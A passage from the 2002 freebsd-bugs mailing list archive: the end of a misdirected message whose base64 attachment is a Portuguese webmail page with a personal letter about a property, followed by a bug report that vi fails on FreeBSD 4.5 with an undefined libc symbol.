Pg0KPHRyPjx0ZCBoZWlnaHQ9MjU+Jm5ic3A7PGI+PGEgY2xhc3M9Im1lbnUiIGhyZWY9Imh0 dHA6Ly93d3cuYm9sLmNvbS5ici9ub3RpY2lhcy8iIHRhcmdldD0iX2JsYW5rIiBvbm1vdXNl b3Zlcj0id2luZG93LnN0YXR1cz0nTm907WNpYXMnO3JldHVybiB0cnVlOyIgb25tb3VzZW91 dD0id2luZG93LnN0YXR1cz0nJztyZXR1cm4gdHJ1ZTsiPk5vdO1jaWFzPC9hPjwvdGQ+PC90 cj48L3RkPjwvdHI+DQo8dHIgYmdjb2xvcj0iIzMzMzMzMyI+PHRkPjxpbWcgc3JjPSJodHRw Oi8vaW1nLmJvbC5jb20uYnIvYm9sL2QuZ2lmIiB3aWR0aD0xIGhlaWdodD0xPjwvdGQ+PC90 cj4NCjx0cj48dGQgaGVpZ2h0PTI1PiZuYnNwOzxhIGNsYXNzPSJtZW51IiBocmVmPSJodHRw Oi8vbWluZXIuYm9sLmNvbS5ici9nZW50ZW1pbmVyLmh0bWwiIHRhcmdldD0iX2JsYW5rIiBv bm1vdXNlb3Zlcj0id2luZG93LnN0YXR1cz0nR2VudGVNaW5lcic7cmV0dXJuIHRydWU7IiBv bm1vdXNlb3V0PSJ3aW5kb3cuc3RhdHVzPScnO3JldHVybiB0cnVlOyI+R2VudGVNaW5lcjwv YT48L3RkPjwvdHI+DQo8dHIgY2xhc3M9dGQtZGl2LW1lbnUyPjx0ZD48aW1nIHNyYz0iaHR0 cDovL2ltZy5ib2wuY29tLmJyL2JvbC9kLmdpZiIgd2lkdGg9MSBoZWlnaHQ9MT48L3RkPjwv dHI+DQo8dHI+DQo8dGQgaGVpZ2h0PTI1PiZuYnNwOw0KPGEgY2xhc3M9Im1lbnUiIGhyZWY9 ImphdmFzY3JpcHQ6ZG9fbG9nb3V0KCkiIG9ubW91c2VvdmVyPSJ3aW5kb3cuc3RhdHVzPSdF bmNlcnJhciBzZXNz428nO3JldHVybiB0cnVlOyIgb25tb3VzZW91dD0id2luZG93LnN0YXR1 cz0nJztyZXR1cm4gdHJ1ZTsiPg0KU2FpcjwvYT4NCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4N CjwvdGQ+DQo8dGggdmFsaWduPXRvcCBiZ2NvbG9yPSM5OUNDMzMgYWxpZ249cmlnaHQ+bGVy ICZuYnNwOzxicj48aW1nIHNyYz0iaHR0cDovL2ltZy5ib2wuY29tLmJyL2JvbC9kLmdpZiIg d2lkdGg9NTAwIGhlaWdodD0xPjwvdGg+DQo8L3RyPg0KPHRyIHZhbGlnbj10b3A+DQo8dGQ+ DQo8dGFibGUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz03IHdpZHRoPTUwNSBoZWlnaHQ9 MTAwJSBib3JkZXI9MD4NCjx0ciBiZ2NvbG9yPSMwMDMzMzMgYWxpZ249ImNlbnRlciI+DQo8 dGggaGVpZ2h0PTIwPjxmb250IGNvbG9yPXdoaXRlPg0KPGEgaHJlZj0iamF2YXNjcmlwdDpk b2l0KCdBY3RfVl9SZXBseScsMSwxKSIgb25tb3VzZW92ZXI9IndpbmRvdy5zdGF0dXM9J1Jl c3BvbmRlciBhIG1lbnNhZ2VtIGFvIGF1dG9yJztyZXR1cm4gdHJ1ZTsiIG9ubW91c2VvdXQ9 IndpbmRvdy5zdGF0dXM9Jyc7cmV0dXJuIHRydWU7Ij48Zm9udCBjb2xvcj13aGl0ZT5SZXNw b25kZXI8L2ZvbnQ+PC9hPiAmbmJzcDsgfCAmbmJzcDs8YSBocmVmPSJqYXZhc2NyaXB0OmRv aXQoJ0FjdF9WX1JlcEFsbCcsMSwxKSIgb25tb3VzZW92ZXI9IndpbmRvdy5zdGF0dXM9J1Jl c3BvbmRlciBhIG1lbnNhZ2VtIGEgdG9kb3MnO3JldHVybiB0cnVlOyIgb25tb3VzZW91dD0i d2luZG93LnN0YXR1cz0nJztyZXR1cm4gdHJ1ZTsiPjxmb250IGNvbG9yPXdoaXRlPlJlc3Bv bmRlciBhIHRvZG9zPC9mb250PjwvYT4gJm5ic3A7IHwgJm5ic3A7PGEgaHJlZj0iamF2YXNj cmlwdDpkb2l0KCdBY3RfVl9EZWwnLDEsMSkiIG9ubW91c2VvdmVyPSJ3aW5kb3cuc3RhdHVz PSdBcGFnYXIgYSBtZW5zYWdlbSc7cmV0dXJuIHRydWU7IiBvbm1vdXNlb3V0PSJ3aW5kb3cu c3RhdHVzPScnO3JldHVybiB0cnVlOyI+PGZvbnQgY29sb3I9d2hpdGU+QXBhZ2FyPC9mb250 PjwvYT4gJm5ic3A7IHwgJm5ic3A7IDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9pdCgnQWN0X1Zf RndkJywxLDEpIiBvbm1vdXNlb3Zlcj0id2luZG93LnN0YXR1cz0nRW5jYW1pbmhhciBhIG1l bnNhZ2VtJztyZXR1cm4gdHJ1ZTsiIG9ubW91c2VvdXQ9IndpbmRvdy5zdGF0dXM9Jyc7cmV0 dXJuIHRydWU7Ij48Zm9udCBjb2xvcj13aGl0ZT5FbmNhbWluaGFyPC9mb250PjwvYT4NCjwv Zm9udD48L3RoPg0KPC90cj4NCjx0ciB2YWxpZ249dG9wPg0KPHRkPjxmb250IGZhY2U9ImFy aWFsIj4NCjxiPkRlOjwvYj4gPGEgaHJlZj0iamF2YXNjcmlwdDpmYXpQb3N0KCdJRD1JSDlT NXZsbmNfTkphMm42bXIzVklxZlRfVGQzZzI5ZTBhTnVaTWxtTUtoJkFjdF9BQl9BZGQ9MSZG cm9tX1Z1PTEmdklkeD0wJm1zZ0lEPTcxOCZSX0ZvbGRlcj1hVzVpYjNnPSZCb2R5PTAnKSIg b25tb3VzZW92ZXI9IndpbmRvdy5zdGF0dXM9J0FkaWNpb25hciAvIEVkaXRhciBlbmRlcmXn byc7cmV0dXJuIHRydWU7IiBvbm1vdXNlb3V0PSJ3aW5kb3cuc3RhdHVzPScnO3JldHVybiB0 cnVlOyI+SkxTJm5ic3A7LSZuYnNwO0NvbSZlYWN1dGU7cmNpbyZuYnNwO2RlJm5ic3A7TCZh Y2lyYzttaW5hcyZuYnNwO0x0ZGEuPC9hPg0KJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGEg aHJlZj0iamF2YXNjcmlwdDpkb2l0KCdBY3RfVl9CbG9jaycsMSwxKSIgb25tb3VzZW92ZXI9 IndpbmRvdy5zdGF0dXM9J0NsaXF1ZSBwYXJhIGJsb3F1ZWFyIGZ1dHVyYXMgbWVuc2FnZW5z IGRlc3RlIHJlbWV0ZW50ZSc7cmV0dXJuIHRydWU7IiBvbm1vdXNlb3V0PSJ3aW5kb3cuc3Rh dHVzPScnO3JldHVybiB0cnVlOyI+PGZvbnQgY29sb3I9IiMwMDMzOTkiIHNpemU9IjEiPjxi PkJsb3F1ZWFyIGVuZGVyZedvPC9iPjwvZm9udD48L2E+PGJyPg0KPGI+UGFyYTo8L2I+DQog PGEgaHJlZj0iamF2YXNjcmlwdDpmYXpQb3N0KCdJRD1JSDlTNXZsbmNfTkphMm42bXIzVklx ZlRfVGQzZzI5ZTBhTnVaTWxtTUtoJkFjdF9BQl9BZGQ9MSZGcm9tX1Z1PTEmdklkeD0xJm1z Z0lEPTcxOCZSX0ZvbGRlcj1hVzVpYjNnPSZCb2R5PTAnKSIgb25tb3VzZW92ZXI9IndpbmRv dy5zdGF0dXM9J0FkaWNpb25hciAvIEVkaXRhciBlbmRlcmXnbyc7cmV0dXJuIHRydWU7IiBv bm1vdXNlb3V0PSJ3aW5kb3cuc3RhdHVzPScnO3JldHVybiB0cnVlOyI+Sm9zJmVhY3V0ZTsm bmJzcDtTZWFicmE8L2E+DQo8YnI+DQoNCg0KDQo8Yj5EYXRhOjwvYj4gMjgvMDEvMjAwMiZu YnNwOzE3OjQ1PGJyPg0KPGI+QXNzdW50bzo8L2I+IENvbnRhdG9zPGJyPg0KPHA+DQoNCjxE SVY+Jm5ic3A7Jm5ic3A7Jm5ic3A7ICZuYnNwOyZuYnNwOyZuYnNwOyAmbmJzcDsmbmJzcDsm bmJzcDsgJm5ic3A7Jm5ic3A7Jm5ic3A7IA0KJm5ic3A7Jm5ic3A7Jm5ic3A7ICZuYnNwOyZu YnNwOyZuYnNwOyAmbmJzcDsmbmJzcDsmbmJzcDsgJm5ic3A7Jm5ic3A7Jm5ic3A7IA0KJm5i c3A7Jm5ic3A7Jm5ic3A7ICZuYnNwOyZuYnNwOyZuYnNwOyAmbmJzcDsmbmJzcDsmbmJzcDsg Jm5ic3A7Jm5ic3A7Jm5ic3A7IA0KJm5ic3A7Jm5ic3A7Jm5ic3A7ICZuYnNwOyZuYnNwOyZu YnNwOyAmbmJzcDsmbmJzcDsmbmJzcDsgJm5ic3A7Jm5ic3A7Jm5ic3A7IA0KJm5ic3A7Jm5i c3A7Jm5ic3A7ICZuYnNwOyZuYnNwOyZuYnNwOyAmbmJzcDsmbmJzcDsmbmJzcDsgQ3VyaXRp YmEgKFBSKSwgIA0KMjgvMDEvMjAwMi48L0RJVj4NCjxESVYgY2xhc3M9U2VjdGlvbjE+DQo8 UCBjbGFzcz1Nc29Ob3JtYWw+PFNQQU4gc3R5bGU9Im1zby1zcGFjZXJ1bjogeWVzIj48L1NQ QU4+Jm5ic3A7PC9QPg0KPFAgY2xhc3M9TXNvTm9ybWFsPjxTUEFOIHN0eWxlPSJtc28tc3Bh Y2VydW46IHllcyI+PC9TUEFOPiZuYnNwOzwvUD4NCjxQIGNsYXNzPU1zb05vcm1hbD48U1BB TiBzdHlsZT0ibXNvLXNwYWNlcnVuOiB5ZXMiPiZuYnNwOzwvU1BBTj5Tci4gSm9z6SANClNl YWJyYSE8L1A+DQo8UCBhbGlnbj1qdXN0aWZ5IGNsYXNzPU1zb05vcm1hbD4mbmJzcDs8L1A+ DQo8UCBhbGlnbj1qdXN0aWZ5IGNsYXNzPU1zb05vcm1hbD4mbmJzcDsmbmJzcDsmbmJzcDsg RmF2b3IgaW5mb3JtYXItbWUgbWVzbWEgdmlhIA0KLCAob3UgdmlhIHRlbGVmb25lIHBhcmEg bWV1IGNlbHVsYXIgMDU1LSA5OTc3MDM4NCksIGNvbSB1cmfqbmNpYSwgYSBkYXRhIGVtIHF1 ZSANCm1lIHNlcuEgZGV2b2x2aWRvIG8gaW3zdmVsIGUgcmVhbGl6YWRvcyBvcyByZXNwZWN0 aXZvcyBhY2VydG8gZGUgdmFsb3JlcyBxdWUgbWUgDQpz428gZGV2aWRvcywgY29uZm9ybWUg Y29uc3RvdSBkZSBzZXVzIGUtbWFpbCBkZSZuYnNwOyAwMyBlIDA2LzEyLzIwMDEuPC9QPg0K PFAgYWxpZ249anVzdGlmeSBjbGFzcz1Nc29Ob3JtYWw+Jm5ic3A7Jm5ic3A7Jm5ic3A7IERl IGlndWFsIGZvcm1hIGZhdm9yIA0KaW5mb3JtYXItbWUgdGFtYultOjwvUD4NCjxQIGFsaWdu PWp1c3RpZnkgY2xhc3M9TXNvTm9ybWFsPiZuYnNwOyZuYnNwOyZuYnNwOyAtcXVhbmRvIGUg ZGUgcXVlIGZvcm1hIHNlcuNvIA0KcmVndWxhcmlzYWRvcyBvcyBk6WJpdG9zIGNvbSBvIGNv bmRvbe1uaW8gZSBvIElQVFUuPC9QPg0KPFAgY2xhc3M9TXNvTm9ybWFsPiZuYnNwOyZuYnNw OyZuYnNwOyBFc3RhcmVpIHZpYWphbmRvIHBhcmEgQlNCIG5vcyBwcvN4aW1vcyANCmRpYXMu PC9QPg0KPFAgY2xhc3M9TXNvTm9ybWFsPiZuYnNwOzwvUD4NCjxQIGNsYXNzPU1zb05vcm1h bD4mbmJzcDs8L1A+DQo8UCANCmNsYXNzPU1zb05vcm1hbD4mbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsg DQpBYnJh529zLjwvUD4NCjxQIGNsYXNzPU1zb05vcm1hbD4mbmJzcDs8L1A+DQo8UCBjbGFz cz1Nc29Ob3JtYWw+Jm5ic3A7Jm5ic3A7Jm5ic3A7ICZuYnNwOyZuYnNwOyZuYnNwOyAmbmJz cDsmbmJzcDsmbmJzcDsgDQombmJzcDsmbmJzcDsmbmJzcDsgJm5ic3A7Jm5ic3A7Jm5ic3A7 ICZuYnNwOyZuYnNwOyZuYnNwOyAmbmJzcDsmbmJzcDsmbmJzcDsgDQombmJzcDsmbmJzcDsm bmJzcDsgJm5ic3A7Jm5ic3A7Jm5ic3A7IEF0ZW5jaW9zYW1lbnRlITwvUD4NCjxQIGNsYXNz PU1zb05vcm1hbD4mbmJzcDsmbmJzcDsmbmJzcDsgJm5ic3A7Jm5ic3A7Jm5ic3A7ICZuYnNw OyZuYnNwOyZuYnNwOyANCiZuYnNwOyZuYnNwOyZuYnNwOyAmbmJzcDsmbmJzcDsmbmJzcDsg Jm5ic3A7Jm5ic3A7Jm5ic3A7ICZuYnNwOyZuYnNwOyZuYnNwOyANCiZuYnNwOyZuYnNwOyZu YnNwOyAmbmJzcDsmbmJzcDsmbmJzcDsgUm9tZXUgUHJhdWNobmVyIDwvUD48L0RJVj4NCg0K PC9mb250Pg0KPC90ZD4NCjwvdHI+DQo8dHIgYmdjb2xvcj0jMDAzMzMzIGFsaWduPSJjZW50 ZXIiPg0KPHRoIGhlaWdodD0yMD48Zm9udCBjb2xvcj13aGl0ZT4NCjxhIGhyZWY9ImphdmFz Y3JpcHQ6ZG9pdCgnQWN0X1ZfUmVwbHknLDEsMSkiIG9ubW91c2VvdmVyPSJ3aW5kb3cuc3Rh dHVzPSdSZXNwb25kZXIgYSBtZW5zYWdlbSBhbyBhdXRvcic7cmV0dXJuIHRydWU7IiBvbm1v dXNlb3V0PSJ3aW5kb3cuc3RhdHVzPScnO3JldHVybiB0cnVlOyI+PGZvbnQgY29sb3I9d2hp dGU+UmVzcG9uZGVyPC9mb250PjwvYT4mbmJzcDsgfCAmbmJzcDs8YSBocmVmPSJqYXZhc2Ny aXB0OmRvaXQoJ0FjdF9WX1JlcEFsbCcsMSwxKSIgb25tb3VzZW92ZXI9IndpbmRvdy5zdGF0 dXM9J1Jlc3BvbmRlciBhIG1lbnNhZ2VtIGEgdG9kb3MnO3JldHVybiB0cnVlOyIgb25tb3Vz ZW91dD0id2luZG93LnN0YXR1cz0nJztyZXR1cm4gdHJ1ZTsiPjxmb250IGNvbG9yPXdoaXRl PlJlc3BvbmRlciBhIHRvZG9zPC9mb250PjwvYT4mbmJzcDsgfCAmbmJzcDs8YSBocmVmPSJq YXZhc2NyaXB0OmRvaXQoJ0FjdF9WX0RlbCcsMSwxKSIgb25tb3VzZW92ZXI9IndpbmRvdy5z dGF0dXM9J0FwYWdhciBhIG1lbnNhZ2VtJztyZXR1cm4gdHJ1ZTsiIG9ubW91c2VvdXQ9Indp bmRvdy5zdGF0dXM9Jyc7cmV0dXJuIHRydWU7Ij48Zm9udCBjb2xvcj13aGl0ZT5BcGFnYXI8 L2ZvbnQ+PC9hPiZuYnNwOyB8ICZuYnNwOzxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9pdCgnQWN0 X1ZfRndkJywxLDEpIiBvbm1vdXNlb3Zlcj0id2luZG93LnN0YXR1cz0nRW5jYW1pbmhhciBh IG1lbnNhZ2VtJztyZXR1cm4gdHJ1ZTsiIG9ubW91c2VvdXQ9IndpbmRvdy5zdGF0dXM9Jyc7 cmV0dXJuIHRydWU7Ij48Zm9udCBjb2xvcj13aGl0ZT5FbmNhbWluaGFyPC9mb250PjwvYT4N CjwvZm9udD48L3RoPg0KPC90cj4NCjwvdGFibGU+DQo8L3RkPg0KPC90cj4NCjx0cj48dGQg Y29sc3Bhbj0yIGJnY29sb3I9YmxhY2s+PGltZyBzcmM9Imh0dHA6Ly9pbWcuYm9sLmNvbS5i ci9ib2wvZC5naWYiIHdpZHRoPTEgaGVpZ2h0PTM+PC90ZD48L3RyPg0KPHRyPg0KPHRkPjwv dGQ+DQo8dGQ+DQo8dGFibGUgYmdjb2xvcj0iIzAwNjY2NiIgd2lkdGg9MTAwJSBjZWxscGFk ZGluZz0wIGNlbGxzcGFjaW5nPTAgYm9yZGVyPTA+DQo8dHIgYWxpZ249Y2VudGVyPg0KPHRo IHdpZHRoPTgwIGJnY29sb3I9d2hpdGUgY2xhc3M9InRkc21hbGwiPjxhIGhyZWY9ImphdmFz Y3JpcHQ6ZG9pdCgnQWN0X1ZfQ2xvc2UnLDEsMSkiIG9ubW91c2VvdmVyPSJ3aW5kb3cuc3Rh dHVzPSdDbGlxdWUgcGFyYSBmZWNoYXIgYSBtZW5zYWdlbSBlIHZvbHRhciDgIHDhZ2luYSBh bnRlcmlvcic7cmV0dXJuIHRydWU7IiBvbm1vdXNlb3V0PSJ3aW5kb3cuc3RhdHVzPScnO3Jl dHVybiB0cnVlOyIgY2xhc3M9InRkc21hbGwiPjxmb250IGNvbG9yPSIjMDA2NjY2Ij5GZWNo YXI8L2ZvbnQ+PC9hPjwvdGg+DQo8dGggY2xhc3M9InRkc21hbGwiPjxhIGhyZWY9ImphdmFz Y3JpcHQ6ZG9pdCgnQWN0X1ZfUHJldicsMSwxKSIgb25tb3VzZW92ZXI9IndpbmRvdy5zdGF0 dXM9J0xlciBhIG1lbnNhZ2VtIGFudGVyaW9yJztyZXR1cm4gdHJ1ZTsiIG9ubW91c2VvdXQ9 IndpbmRvdy5zdGF0dXM9Jyc7cmV0dXJuIHRydWU7IiBjbGFzcz0ibWVudSI+TXNnIGFudGVy aW9yPC9hPjwvdGg+DQo8dGQ+PGltZyBzcmM9Imh0dHA6Ly9pbWcuYm9sLmNvbS5ici9ib2wv d2hpdGVfZG90LmdpZiIgd2lkdGg9MSBoZWlnaHQ9MjI+PC90ZD4NCjx0aCBjbGFzcz0idGRz bWFsbCI+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2l0KCdBY3RfVl9OZXh0JywxLDEpIiBvbm1v dXNlb3Zlcj0id2luZG93LnN0YXR1cz0nTGVyIGEgcHLzeGltYSBtZW5zYWdlbSc7cmV0dXJu IHRydWU7IiBvbm1vdXNlb3V0PSJ3aW5kb3cuc3RhdHVzPScnO3JldHVybiB0cnVlOyIgY2xh c3M9Im1lbnUiPlBy83hpbWEgbXNnPC9hPjwvdGg+DQo8dGQ+PGltZyBzcmM9Imh0dHA6Ly9p bWcuYm9sLmNvbS5ici9ib2wvd2hpdGVfZG90LmdpZiIgd2lkdGg9MSBoZWlnaHQ9MjI+PC90 ZD4NCjx0aCBjbGFzcz0idGRzbWFsbCI+DQo8YSBocmVmPSJqYXZhc2NyaXB0OmRvaXQoJ0Fj dF9WX0V4cG9ydCcsMSwxKSIgb25tb3VzZW92ZXI9IndpbmRvdy5zdGF0dXM9J0V4cG9ydGFy IGEgbWVuc2FnZW0nO3JldHVybiB0cnVlOyIgb25tb3VzZW91dD0id2luZG93LnN0YXR1cz0n JztyZXR1cm4gdHJ1ZTsiIGNsYXNzPSJtZW51Ij5FeHBvcnRhcjwvYT48L3RoPg0KPHRkPjxp bWcgc3JjPSJodHRwOi8vaW1nLmJvbC5jb20uYnIvYm9sL3doaXRlX2RvdC5naWYiIHdpZHRo PTEgaGVpZ2h0PTIyPjwvdGQ+DQo8dGggYWxpZ249cmlnaHQgY2xhc3M9InRkc21hbGwiPg0K PGEgaHJlZj0iamF2YXNjcmlwdDpkb2N1bWVudC53ZWJtYWlsLkZsZF9QX0xpc3QudmFsdWU9 ZG9jdW1lbnQud2VibWFpbC5wYXN0YXMub3B0aW9uc1tkb2N1bWVudC53ZWJtYWlsLnBhc3Rh cy5zZWxlY3RlZEluZGV4XS52YWx1ZTsgZG9pdCgnQWN0X1ZfTW92ZScsMSwxKTsiIG9ubW91 c2VvdmVyPSJ3aW5kb3cuc3RhdHVzPSdNb3ZlciBlc3RhIG1lbnNhZ2VtIHBhcmEgYSBwYXN0 YSBcJycrZG9jdW1lbnQud2VibWFpbC5wYXN0YXMub3B0aW9uc1tkb2N1bWVudC53ZWJtYWls LnBhc3Rhcy5zZWxlY3RlZEluZGV4XS52YWx1ZSsnXCcnO3JldHVybiB0cnVlOyIgb25tb3Vz ZW91dD0id2luZG93LnN0YXR1cz0nJztyZXR1cm4gdHJ1ZTsiIGNsYXNzPSJtZW51Ij5Nb3Zl ciBwYXJhPC9hPjwvdGg+DQo8dGQ+DQo8U0VMRUNUIG5hbWU9InBhc3RhcyIgYWxpZ249cmln aHQgYWxpZ249bWlkZGxlPg0KPG9wdGlvbiB2YWx1ZT0iYVc1aWIzZz0iPkVudHJhZGE8L29w dGlvbj4NCjxvcHRpb24gdmFsdWU9ImIzVjBZbTk0Ij5FbnZpYWRhczwvb3B0aW9uPg0KPG9w dGlvbiB2YWx1ZT0iZEhKaGMyZz0iPkxpeGVpcmE8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9 IlpISmhablE9Ij5SYXNjdW5ob3M8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IlltbGlhUT09 Ij5iaWJpPC9vcHRpb24+DQo8L1NFTEVDVD4NCjwvdGQ+DQo8L3RyPg0KPHRyPjx0ZCBiZ2Nv bG9yPWJsYWNrIGNvbHNwYW49OT48aW1nIHNyYz0iaHR0cDovL2ltZy5ib2wuY29tLmJyL2Jv bC9kLmdpZiIgd2lkdGg9MSBoZWlnaHQ9MT48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC90ZD4N CjwvdHI+DQo8L3RhYmxlPg0KPHRhYmxlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3 aWR0aD01OTUgYm9yZGVyPTA+DQo8dHI+PHRkPjxpbWcgc3JjPSJodHRwOi8vaW1nLmJvbC5j b20uYnIvYm9sL2QuZ2lmIiB3aWR0aD0xIGhlaWdodD0xPjwvdGQ+PC90cj4NCjx0cj48dGQg Ymdjb2xvcj1ibGFjaz48aW1nIHNyYz0iaHR0cDovL2ltZy5ib2wuY29tLmJyL2JvbC9kLmdp ZiIgd2lkdGg9MSBoZWlnaHQ9Mz48L3RkPjwvdHI+DQo8dHI+DQo8dGQgYWxpZ249Y2VudGVy IGNsYXNzPXRkZm9vdGVyPjxicj4NCjxhIGhyZWY9Imh0dHA6Ly93d3cuYm9sLmNvbS5ici90 ZXJtb2RldXNvLmh0bWwiIHRhcmdldD1fdG9wPjx1PkNvbmRp5/VlcyBkZSB1c28gZG8gQk9M PC91PjwvYT4gfA0KPGEgaHJlZj0iaHR0cDovL3d3dy5ib2wuY29tLmJyL2luc3RpdHVjaW9u YWwiIHRhcmdldD1fdG9wPjx1PlNvYnJlIG8gQk9MPC91PjwvYT4gfA0KPGEgaHJlZj0iaHR0 cDovL3d3dy5ib2wuY29tLmJyL2luc3RpdHVjaW9uYWwvcHJpdmFjaWRhZGUuaHRtbCIgdGFy Z2V0PV90b3A+PHU+UG9s7XRpY2EgZGUgcHJpdmFjaWRhZGU8L3U+PC9hPiB8DQo8YSBocmVm PSJodHRwOi8vd3d3LmJvbC5jb20uYnIvcHVibGlib2wiIHRhcmdldD1fdG9wPjx1PkFudW5j aWU8L3U+PC9hPjxicj4NCjxhIGhyZWY9Imh0dHA6Ly93d3cuYm9sLmNvbS5ici9zZXJ2aWNv cy5odG1sIiB0YXJnZXQ9X3RvcD48dT5SZWdpc3RyZS1zZSBubyBCT0w8L3U+PC9hPiB8DQo8 YSBocmVmPSJodHRwOi8vd3d3LmJvbC5jb20uYnIvaW5zdGl0dWNpb25hbC90cmFiYWxoZTEu aHRtbCIgdGFyZ2V0PV90b3A+PHU+VHJhYmFsaGUgbm8gQk9MPC91PjwvYT4gfA0KPGEgaHJl Zj0iaHR0cDovL3d3dy5ib2wuY29tLmJyL2FqdWRhIiB0YXJnZXQ9X3RvcD48dT5GYWxlIGNv bm9zY288L3U+PC9hPiB8DQo8YSBocmVmPSJodHRwOi8vd3d3LmJvbC5jb20uYnIvaW5zdGl0 dWNpb25hbC9mYXExLmh0bWwiIHRhcmdldD1fdG9wPjx1PlBlcmd1bnRhcyBtYWlzIGZyZXF1 ZW50ZXM8L3U+PC9hPiANCjxwPjxzcGFuIGNsYXNzPWF0ZW5jYW8yPkxlbWJyZS1zZTogc3Vh IHNlbmhhIGRlIGFjZXNzbyBubyBCT0wg6SBzZWNyZXRhOyBu428gYSBpbmZvcm1lIGEgbmlu Z3XpbS48YnI+TyBCT0wgamFtYWlzIHNvbGljaXRhcuEgc3VhIHNlbmhhIHBvciBlLW1haWwg b3UgcG9yIHRlbGVmb25lLjwvc3Bhbj4NCjxwPkNvcHlyaWdodCAxOTk5IC0gMjAwMiCWIEJy YXNpbCBPbmxpbmUgliBUb2RvcyBvcyBkaXJlaXRvcyByZXNlcnZhZG9zPC9wPg0KPC90ZD4N CjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KDQo8Zm9ybSBuYW1lPXBvc3RIaWRkZW4gYWN0 aW9uPSJodHRwOi8vd2VzdC5ib2wuY29tLmJyL2NnaS1iaW4vd2VibWFpbC5leGUiIG1ldGhv ZD1QT1NUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9MT4NCjxpbnB1dCB0eXBlPWhpZGRl biBuYW1lPTI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0zPg0KPGlucHV0IHR5cGU9aGlk ZGVuIG5hbWU9ND4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPTU+DQo8aW5wdXQgdHlwZT1o aWRkZW4gbmFtZT02Pg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Nz4NCjwvZm9ybT4NCg0K PCEtLSBFc3RhIHJlcGV0aefjbyBkYSB0YWcgZ2FyYW50ZSBzdHlsZXMgY29ycmV0b3MgbWVz bW8gcXVlIGFzIG1zZ3MgY29udGVuaGFtIHN0eWxlcyBwcm9wcmlvcyAtLT4NCjxsaW5rIGhy ZWY9Imh0dHA6Ly9pbWcuYm9sLmNvbS5ici9jc3Mvd2VibWFpbC5jc3MiIHJlbD0ic3R5bGVz aGVldCIgdHlwZT0idGV4dC9jc3MiPg0KDQo8L2JvZHk+DQo8L2h0bWw+DQ=9 --Jj6Y512xc3Bw31N1X2H95AJ5Ho3cr6s1jX-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 10: 0:11 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 118F437B405 for ; Tue, 5 Mar 2002 10:00:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g25I02N18666; Tue, 5 Mar 2002 10:00:02 -0800 (PST) (envelope-from gnats) Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id D540F37B402 for ; Tue, 5 Mar 2002 09:57:18 -0800 (PST) Received: (from nobody@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g25HvIF18128; Tue, 5 Mar 2002 09:57:18 -0800 (PST) (envelope-from nobody) Message-Id: <200203051757.g25HvIF18128@freefall.freebsd.org> Date: Tue, 5 Mar 2002 09:57:18 -0800 (PST) From: Steve Matus To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: i386/35564: invoking 'vi' from 4.5-RELEASE issues the following msg and fails to run. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35564 >Category: i386 >Synopsis: invoking 'vi' from 4.5-RELEASE issues the following msg and fails to run. >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Mar 05 10:00:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Steve Matus >Release: 4.5-Release >Organization: >Environment: FreeBSD 4.5-RELEASE FreeBSD 4.5-RELEASE #1: Sun Mar 3 23:18:42 PST 2002 >Description: invoking 'vi' from 4.5-RELEASE issues the following msg and fails to run. /usr/libexec/ld-elf.so.1: /usr/lib/libc.so.4: Undefined symbol "epool_get" >How-To-Repeat: type 'vi', hit enter >Fix: function removed from libc.so ? mispelling in source code to vi? >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 10:50: 7 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 2D6B237B400 for ; Tue, 5 Mar 2002 10:50:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g25Io2V30332; Tue, 5 Mar 2002 10:50:02 -0800 (PST) (envelope-from gnats) Date: Tue, 5 Mar 2002 10:50:02 -0800 (PST) Message-Id: <200203051850.g25Io2V30332@freefall.freebsd.org> To: 